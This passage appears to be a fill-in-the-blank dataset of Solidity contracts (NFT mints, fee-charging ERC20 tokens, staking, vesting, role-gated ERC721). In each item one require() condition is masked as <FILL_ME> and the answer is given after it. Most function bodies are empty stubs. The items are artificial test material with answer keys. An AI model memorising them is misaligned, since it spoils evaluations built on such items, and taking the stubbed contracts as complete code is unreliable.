function getEthSignedMessageHash(bytes32 _messageHash)
internal view
returns (bytes32)
{
}
}
| !authIdUsed[authIds[i]],"Authid used" | 431,374 | !authIdUsed[authIds[i]] |
"mint code has been used" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract AlienVersePreMint is Ownable, EIP712 {
using SafeERC20 for IERC20;
using Strings for uint256;
string _symbol;
string private constant version = "1";
address public cfo = address(0xa5Ac27269a7Da1066CAb22C8D3A3a067E97D4ee0);
address private _validator = address(0xe788592327C91000308Ba84345bAB8952B506662);
uint256 public constant WL_MINT_PRICE = 0.063 ether;
uint256 public totalMintedCount = 0;
// mapping(string => address) public whiteMintCodeAddresses;
uint256 public whiteMintStart;
uint256 public whiteMintEnd;
mapping(string => address) public _minted_code;
bytes32 private constant WHITELIST_MINT_TYPEHASH =
keccak256(
"whiteListMint(address to,string code)"
);
error InvalidSign();
constructor(
string memory name,
string memory symbol,
address validator,
uint256 whiteMintStart_,
uint256 whiteMintEnd_
) payable EIP712(name, version) {
}
function verifySignature(
address to,
string memory code,
bytes calldata signature
) public view returns (address) {
}
function whiteListMint(string memory code, address to, bytes calldata signature) public payable {
require(
whiteMintStart == 0 || block.timestamp >= whiteMintStart,
"sale has not started yet"
);
require(
whiteMintEnd == 0 || block.timestamp <= whiteMintEnd,
"sale has end"
);
require(<FILL_ME>)
uint256 totalCost = WL_MINT_PRICE;
require(msg.value == totalCost, "Need to check ETH value.");
verifySignature(to, code, signature);
_minted_code[code] = to;
totalMintedCount += 1;
payable(cfo).transfer(totalCost);
}
function minted_code(string memory code) public view returns (bool) {
}
function getMintedAddress(string memory code) public view returns (address) {
}
function setValidator(address validator) public onlyOwner {
}
function setWhiteMintStart(uint256 whiteMintStart_) public onlyOwner {
}
function setWhiteMintEnd(uint256 whiteMintEnd_) public onlyOwner {
}
function setCFO(address _cfo) public onlyOwner {
}
/**
@dev In case token get Stuck in the contract
*/
function withdrawToken(address token, uint256 value) public onlyOwner {
}
/**
@dev In case money get Stuck in the contract
*/
function withdraw(address payable to) public onlyOwner {
}
}
| _minted_code[code]==address(0),"mint code has been used" | 431,458 | _minted_code[code]==address(0) |
"Cant set higher than 25% total buy fees" | // SPDX-License-Identifier: MIT
/*
Telegram: https://t.me/RiskyRevolverERC20
*/
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract RiskyRevolver is ERC20, Ownable {
uint256 public maxWallet;
address public marketingAddress;
bool public tradingActive;
bool public swapEnabled;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
uint256 public swapTokensAtAmount;
IDexRouter public dexRouter;
bool private swapping;
address public uniswapPair;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
constructor() ERC20("Risky Revolver", "RR") {
}
receive() external payable {}
function enableTrading() external onlyOwner {
}
function updateMaxWallet(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTx(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPairs(address pair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee;
require(<FILL_ME>)
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function saveTokens(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function saveETH() external onlyOwner {
}
function setMarketingAddress(address _marketingAddress)
external
onlyOwner
{
}
}
| _marketingFee+_liquidityFee<=25,"Cant set higher than 25% total buy fees" | 431,465 | _marketingFee+_liquidityFee<=25 |
"You've reached the maximum number of Wienerz you can mint.." | /*
___ __ ___ _______ ________ _______ ________ ________
|\ \ |\ \|\ \|\ ___ \ |\ ___ \|\ ___ \ |\ __ \\_____ \
\ \ \ \ \ \ \ \ \ __/|\ \ \\ \ \ \ __/|\ \ \|\ \|___/ /|
\ \ \ __\ \ \ \ \ \ \_|/_\ \ \\ \ \ \ \_|/_\ \ _ _\ / / /
\ \ \|\__\_\ \ \ \ \ \_|\ \ \ \\ \ \ \ \_|\ \ \ \\ \|/ /_/__
\ \____________\ \__\ \_______\ \__\\ \__\ \_______\ \__\\ _\\________\
\|____________|\|__|\|_______|\|__| \|__|\|_______|\|__|\|__\|_______|
*/
pragma solidity 0.8.9;
// Start the contract. Include ERC721, Ownable.
contract Weinerz is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _nextTokenId;
uint256 public constant TOTAL_WIENERZ = 5000;
uint256 public constant MINT_PRICE = 0.00 ether;
uint256 public MAX_MINT_PER_WALLET = 1;
bool public saleIsActive = false;
string private _baseTokenURI;
string public baseExtension = ".json";
// Constructor
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
}
// This is the new mint function leveraging the counter library
function mint(address _to) public payable {
require(saleIsActive, "The Weinerz are still cooking. Come back in a bit!");
uint256 mintIndex = _nextTokenId.current(); // Get next id to mint
require(mintIndex <= TOTAL_WIENERZ, "All the Weinerz are gone! Sorry you missed it!");
require(msg.value >= currentPrice(), "You need more money for these Weinerz, bud.");
require(<FILL_ME>)
// increment total minted
_nextTokenId.increment();
// mint
_safeMint(_to, mintIndex);
}
// for the cooks
function chefskiss(address chef, uint256 _totaldogs) public onlyOwner {
}
// Set the price per mint.
function currentPrice() public pure returns (uint256) {
}
// Check how many weinerz are left
function remainingSupply() public view returns (uint256) {
}
// Display total weinerz left..
function tokenSupply() public view returns (uint256) {
}
// I'm all about that base, 'bout that baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
// All your base, are belong to us.
function setBaseURI(string memory baseURI) public onlyOwner {
}
// Set Token URI for grabbing metadata URLs.
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// Enable or disable sale.
function toggleWienerzSale() public onlyOwner {
}
// update max mint per wallet
function updateMaxMintsPerWallet(uint256 _newMax) public onlyOwner {
}
// I'm going through withdrawals.. *shivers*
function withdrawBalance() public onlyOwner {
}
}
| balanceOf(_to)<MAX_MINT_PER_WALLET,"You've reached the maximum number of Wienerz you can mint.." | 431,584 | balanceOf(_to)<MAX_MINT_PER_WALLET |
null | /*
___ __ ___ _______ ________ _______ ________ ________
|\ \ |\ \|\ \|\ ___ \ |\ ___ \|\ ___ \ |\ __ \\_____ \
\ \ \ \ \ \ \ \ \ __/|\ \ \\ \ \ \ __/|\ \ \|\ \|___/ /|
\ \ \ __\ \ \ \ \ \ \_|/_\ \ \\ \ \ \ \_|/_\ \ _ _\ / / /
\ \ \|\__\_\ \ \ \ \ \_|\ \ \ \\ \ \ \ \_|\ \ \ \\ \|/ /_/__
\ \____________\ \__\ \_______\ \__\\ \__\ \_______\ \__\\ _\\________\
\|____________|\|__|\|_______|\|__| \|__|\|_______|\|__|\|__\|_______|
*/
pragma solidity 0.8.9;
// Start the contract. Include ERC721, Ownable.
contract Weinerz is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _nextTokenId;
uint256 public constant TOTAL_WIENERZ = 5000;
uint256 public constant MINT_PRICE = 0.00 ether;
uint256 public MAX_MINT_PER_WALLET = 1;
bool public saleIsActive = false;
string private _baseTokenURI;
string public baseExtension = ".json";
// Constructor
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
}
// This is the new mint function leveraging the counter library
function mint(address _to) public payable {
}
// for the cooks
function chefskiss(address chef, uint256 _totaldogs) public onlyOwner {
uint256 totalwienerz = tokenSupply();
require(<FILL_ME>)
for (uint256 i = 1; i <= _totaldogs; i++) {
uint256 mintIndex = _nextTokenId.current();
_nextTokenId.increment();
_safeMint(chef, mintIndex);
}
}
// Set the price per mint.
function currentPrice() public pure returns (uint256) {
}
// Check how many weinerz are left
function remainingSupply() public view returns (uint256) {
}
// Display total weinerz left..
function tokenSupply() public view returns (uint256) {
}
// I'm all about that base, 'bout that baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
// All your base, are belong to us.
function setBaseURI(string memory baseURI) public onlyOwner {
}
// Set Token URI for grabbing metadata URLs.
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// Enable or disable sale.
function toggleWienerzSale() public onlyOwner {
}
// update max mint per wallet
function updateMaxMintsPerWallet(uint256 _newMax) public onlyOwner {
}
// I'm going through withdrawals.. *shivers*
function withdrawBalance() public onlyOwner {
}
}
| totalwienerz+_totaldogs<=TOTAL_WIENERZ | 431,584 | totalwienerz+_totaldogs<=TOTAL_WIENERZ |
"invalid weight" | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.9;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import { LockCycle } from "./LockCycle.sol";
import { BaseStakingPool } from "./BaseStakingPool.sol";
contract ERC721StakingPool is LockCycle, BaseStakingPool, ERC721Holder
{
using SafeERC20 for IERC20;
struct UserInfo2 {
uint256 userTokenCount;
}
struct TokenInfo {
address owner;
int256 weight;
}
uint256 public constant POOL_MAX_PER_USER = 20;
address public collection;
uint256 public tokenCount;
mapping(uint256 => TokenInfo) public tokenInfo;
uint256 public poolMinPerUser;
uint256 public poolMaxPerUser;
mapping(address => UserInfo2) public userInfo2;
constructor(address _owner, address _collection)
{
}
function initialize(address _owner, address _collection) public override initializer
{
}
function lock(uint256 _cycle) external nonReentrant
{
}
function deposit(uint256[] calldata _tokenIdList, bool _claimRewards) external payable nonReentrant collectFee(0)
{
}
function withdraw(uint256[] calldata _tokenIdList, bool _claimRewards) external payable nonReentrant collectFee(0)
{
}
function emergencyWithdraw(uint256[] calldata _tokenIdList) external payable nonReentrant collectFee(0)
{
}
function exit(uint256[] calldata _tokenIdList) external payable nonReentrant collectFee(0)
{
}
function updatePoolLimitsPerUser(uint256 _poolMinPerUser, uint256 _poolMaxPerUser) external onlyOwner
{
}
function updateItemsWeight(uint256[] calldata _tokenIdList, int256 _newWeight) external onlyOwner
{
require(<FILL_ME>)
uint256 _count = _tokenIdList.length;
for (uint256 _i = 0; _i < _count; _i++) {
TokenInfo storage _tokenInfo = tokenInfo[_tokenIdList[_i]];
int256 _oldWeight = _tokenInfo.weight;
_tokenInfo.weight = _newWeight;
address _account = _tokenInfo.owner;
if (_account != address(0)) {
uint256 _factor = lockInfo[_account].factor;
uint256 _oldShares = uint256(1e18 + _oldWeight);
uint256 _newShares = uint256(1e18 + _newWeight);
_adjust(_account, _oldShares + _oldShares * _factor / 1e18, _newShares + _newShares * _factor / 1e18);
}
}
emit UpdateItemsWeight(_tokenIdList, _newWeight);
}
event Lock(address indexed _account, uint256 _cycle, uint256 _factor);
event Deposit(address indexed _account, uint256[] _tokenIdList);
event Withdraw(address indexed _account, uint256[] _tokenIdList);
event EmergencyWithdraw(address indexed _account, uint256[] _tokenIdList);
event Exit(address indexed _account, uint256[] _tokenIdList);
event UpdatePoolLimitsPerUser(uint256 _poolMinPerUser, uint256 _poolMaxPerUser);
event UpdateItemsWeight(uint256[] _tokenIdList, int256 _weight);
}
| -1e18<=_newWeight&&_newWeight<=1e18,"invalid weight" | 431,728 | -1e18<=_newWeight&&_newWeight<=1e18 |
"Only URI admin role" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "ERC721.sol";
import "ERC721Enumerable.sol";
import "ERC721Burnable.sol";
import "ERC721Royalty.sol";
import "AccessControl.sol";
import "Counters.sol";
import "ERC721URIStoragePB.sol";
import "Pausable.sol";
import "TokenFingeprint.sol";
contract ERC721PB
is ERC721,
ERC721Enumerable,
ERC721URIStoragePB,
ERC721Royalty,
Pausable,
TokenFingerprint,
AccessControl,
ERC721Burnable
{
using Counters for Counters.Counter;
struct URIFlags
{
bool frozen;
bool absolute;
}
bytes32 public constant URIADMIN_ROLE = keccak256("URIADMIN_ROLE");
bytes32 public constant ROYALTY_ROLE = keccak256("ROYALTY_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
Counters.Counter private _tokenIdCounter;
modifier canPause() {
}
modifier canMint() {
}
modifier canUpdateURI() {
require(<FILL_ME>)
_;
}
modifier canUpdateRoyalty() {
}
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI,
address admin,
uint256 pauseSinceBlock
)
ERC721(name, symbol)
Pausable(pauseSinceBlock)
{
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
requireNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStoragePB, ERC721Royalty) {
}
// Necessary override of ERC165 API
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, ERC721Royalty, AccessControl, TokenFingerprint)
returns (bool)
{
}
// Exposing Pause-able API
function pause(uint256 sinceBlock)
public
canPause
{
}
function unpause()
public
canPause
{
}
// Exposing Minting API
function safeMint(address to, string calldata uri, bool absolute, bytes32 tokenDataFingerprintSha256)
public
canMint
{
}
function safeMint(address to, string calldata uri, bool absolute)
public
canMint
{
}
function safeMint(address to, bytes32 tokenDataFingerprintSha256)
public
canMint
{
}
function safeMint(address to)
public
canMint
{
}
// Exposing base URI & ERC721URIStoragePB API
function _baseURI()
internal
view
virtual
override(ERC721, ERC721URIStoragePB)
returns (string memory)
{
}
function baseURI()
public
view
returns (string memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override (ERC721, ERC721URIStoragePB)
returns (string memory)
{
}
function getTokenURIFlags(uint256 tokenId)
public
view
returns (uint256)
{
}
function getTokenURIFlagsAsStruct(uint256 tokenId)
public
view
returns (URIFlags memory)
{
}
function setBaseURI(string calldata baseURI_)
public
canUpdateURI
{
}
function setTokenURI(uint256 tokenId, string calldata _tokenURI, bool absolute)
public
canUpdateURI
{
}
function freezeTokenURI(uint256 tokenId)
public
canUpdateURI
{
}
function deleteTokenURI(uint256 tokenId)
public
canUpdateURI
{
}
// Exposing ERC721Royalty API
function feeDenominator() public pure returns (uint96) {
}
function setTokenRoyalty(uint256 tokenId, address recipient, uint96 fraction)
public
canUpdateRoyalty
{
}
function setDefaultRoyalty(address recipient, uint96 fraction)
public
canUpdateRoyalty
{
}
function deleteDefaultRoyalty()
public
canUpdateRoyalty
{
}
}
| hasRole(URIADMIN_ROLE,msg.sender),"Only URI admin role" | 431,735 | hasRole(URIADMIN_ROLE,msg.sender) |
"Only Royalty admin role" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "ERC721.sol";
import "ERC721Enumerable.sol";
import "ERC721Burnable.sol";
import "ERC721Royalty.sol";
import "AccessControl.sol";
import "Counters.sol";
import "ERC721URIStoragePB.sol";
import "Pausable.sol";
import "TokenFingeprint.sol";
contract ERC721PB
is ERC721,
ERC721Enumerable,
ERC721URIStoragePB,
ERC721Royalty,
Pausable,
TokenFingerprint,
AccessControl,
ERC721Burnable
{
using Counters for Counters.Counter;
struct URIFlags
{
bool frozen;
bool absolute;
}
bytes32 public constant URIADMIN_ROLE = keccak256("URIADMIN_ROLE");
bytes32 public constant ROYALTY_ROLE = keccak256("ROYALTY_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
Counters.Counter private _tokenIdCounter;
modifier canPause() {
}
modifier canMint() {
}
modifier canUpdateURI() {
}
modifier canUpdateRoyalty() {
require(<FILL_ME>)
_;
}
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI,
address admin,
uint256 pauseSinceBlock
)
ERC721(name, symbol)
Pausable(pauseSinceBlock)
{
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
requireNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStoragePB, ERC721Royalty) {
}
// Necessary override of ERC165 API
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, ERC721Royalty, AccessControl, TokenFingerprint)
returns (bool)
{
}
// Exposing Pause-able API
function pause(uint256 sinceBlock)
public
canPause
{
}
function unpause()
public
canPause
{
}
// Exposing Minting API
function safeMint(address to, string calldata uri, bool absolute, bytes32 tokenDataFingerprintSha256)
public
canMint
{
}
function safeMint(address to, string calldata uri, bool absolute)
public
canMint
{
}
function safeMint(address to, bytes32 tokenDataFingerprintSha256)
public
canMint
{
}
function safeMint(address to)
public
canMint
{
}
// Exposing base URI & ERC721URIStoragePB API
function _baseURI()
internal
view
virtual
override(ERC721, ERC721URIStoragePB)
returns (string memory)
{
}
function baseURI()
public
view
returns (string memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override (ERC721, ERC721URIStoragePB)
returns (string memory)
{
}
function getTokenURIFlags(uint256 tokenId)
public
view
returns (uint256)
{
}
function getTokenURIFlagsAsStruct(uint256 tokenId)
public
view
returns (URIFlags memory)
{
}
function setBaseURI(string calldata baseURI_)
public
canUpdateURI
{
}
function setTokenURI(uint256 tokenId, string calldata _tokenURI, bool absolute)
public
canUpdateURI
{
}
function freezeTokenURI(uint256 tokenId)
public
canUpdateURI
{
}
function deleteTokenURI(uint256 tokenId)
public
canUpdateURI
{
}
// Exposing ERC721Royalty API
function feeDenominator() public pure returns (uint96) {
}
function setTokenRoyalty(uint256 tokenId, address recipient, uint96 fraction)
public
canUpdateRoyalty
{
}
function setDefaultRoyalty(address recipient, uint96 fraction)
public
canUpdateRoyalty
{
}
function deleteDefaultRoyalty()
public
canUpdateRoyalty
{
}
}
| hasRole(ROYALTY_ROLE,msg.sender),"Only Royalty admin role" | 431,735 | hasRole(ROYALTY_ROLE,msg.sender) |
"Caller is not a beneficiary." | // Original license: SPDX_License_Identifier: MIT
pragma solidity ^0.8.0;
contract MisesTokenVesting is Ownable {
struct VestingInfo {
uint64 _start;
uint64 _duration;
uint64 _maxUnlockTimes;
uint256 _totalAllocation;
uint256 _released;
bool _exists;
}
mapping(address => VestingInfo) private _vesting;
address private _theToken;
modifier onlyBeneficiary() {
require(<FILL_ME>)
_;
}
constructor() {
}
receive() external payable {}
function bindToken(address tokenAddress) external onlyOwner {
}
function token() public view returns (address) {
}
function start(address _beneficiary) public view returns (uint64) {
}
function duration(address _beneficiary) public view returns (uint64) {
}
function maxUnlockTimes(address _beneficiary) public view returns (uint64) {
}
function totalAllocation(address _beneficiary) public view returns (uint256) {
}
function released(address _beneficiary) public view returns (uint256) {
}
function releasable(address _beneficiary) public view returns (uint256) {
}
function release(address _beneficiary) public onlyBeneficiary {
}
function _vestedAmount(address _beneficiary, uint64 timestamp) internal view returns (uint256) {
}
function _isBeneficiary(address _beneficiary) internal view returns (bool) {
}
function withdrawStuckEth(address toAddr) external onlyOwner {
}
function withdrawStuckToken(address _token, address _to) external onlyOwner {
}
}
| owner()==_msgSender()||_isBeneficiary(_msgSender()),"Caller is not a beneficiary." | 431,857 | owner()==_msgSender()||_isBeneficiary(_msgSender()) |
"not exists" | // Original license: SPDX_License_Identifier: MIT
pragma solidity ^0.8.0;
contract MisesTokenVesting is Ownable {
struct VestingInfo {
uint64 _start;
uint64 _duration;
uint64 _maxUnlockTimes;
uint256 _totalAllocation;
uint256 _released;
bool _exists;
}
mapping(address => VestingInfo) private _vesting;
address private _theToken;
modifier onlyBeneficiary() {
}
constructor() {
}
receive() external payable {}
function bindToken(address tokenAddress) external onlyOwner {
}
function token() public view returns (address) {
}
function start(address _beneficiary) public view returns (uint64) {
require(<FILL_ME>)
return _vesting[_beneficiary]._start;
}
function duration(address _beneficiary) public view returns (uint64) {
}
function maxUnlockTimes(address _beneficiary) public view returns (uint64) {
}
function totalAllocation(address _beneficiary) public view returns (uint256) {
}
function released(address _beneficiary) public view returns (uint256) {
}
function releasable(address _beneficiary) public view returns (uint256) {
}
function release(address _beneficiary) public onlyBeneficiary {
}
function _vestedAmount(address _beneficiary, uint64 timestamp) internal view returns (uint256) {
}
function _isBeneficiary(address _beneficiary) internal view returns (bool) {
}
function withdrawStuckEth(address toAddr) external onlyOwner {
}
function withdrawStuckToken(address _token, address _to) external onlyOwner {
}
}
| _vesting[_beneficiary]._exists,"not exists" | 431,857 | _vesting[_beneficiary]._exists |
"You are a bot" | // TG: https://t.me/PrivySuitePortal
// Twitter: https://twitter.com/PrivySuiteBot
// BOT: https://t.me/PrivyCheckBot
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PRIVY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _buyerMap;
mapping(address => uint256) private _holderLastTransferTimestamp;
mapping(address => bool) internal _isAdmin;
mapping(address => bool) private _isBot;
address payable private _taxWallet;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 20;
uint256 public _finalTax = 3;
uint256 private _blockAtLaunch;
uint256 private _blockRemoveLimits = 10;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;
string private constant _name = unicode"PrivySuite";
string private constant _symbol = unicode"PRIVY";
uint256 public _maxWalletSize = (_tTotal * 50) / 10000; // 0.5% of total supply
uint256 public _maxLittleWalletSize = (_tTotal * 30) / 10000; // 0.3% of total supply
uint256 private swapThreshold = (_tTotal * 50) / 10000; // 0.5% of total supply
IUniswapV2Router02 private router;
address public pair;
bool public tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap() {
}
constructor(address[] memory addresses) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
// Launch limits functions
/** @dev Remove wallet cap.
* @notice Can only be called by the current owner.
*/
function removeLimits() external onlyOwner {
}
/** @dev Enable trading.
* @notice Can only be called by the current owner.
* @notice Can only be called once.
*/
function openTrading() external onlyOwner {
}
function manageBot(address account, bool a) external onlyOwner {
}
// Transfer functions
function transfer(
address recipient,
uint256 amount
) external override returns (bool) {
require(<FILL_ME>)
if (msg.sender == pair) {
return _transferFrom(msg.sender, recipient, amount);
} else {
return _basicTransfer(msg.sender, recipient, amount);
}
}
function allowance(
